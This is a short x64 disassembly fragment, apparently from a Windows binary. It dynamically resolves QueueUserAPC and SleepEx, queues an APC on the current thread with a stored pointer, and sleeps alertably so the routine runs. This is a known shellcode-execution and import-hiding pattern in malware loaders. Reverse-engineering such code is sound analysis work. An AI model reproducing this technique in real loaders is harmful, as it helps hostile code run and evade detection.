mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x610]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x608]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x840]
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
ret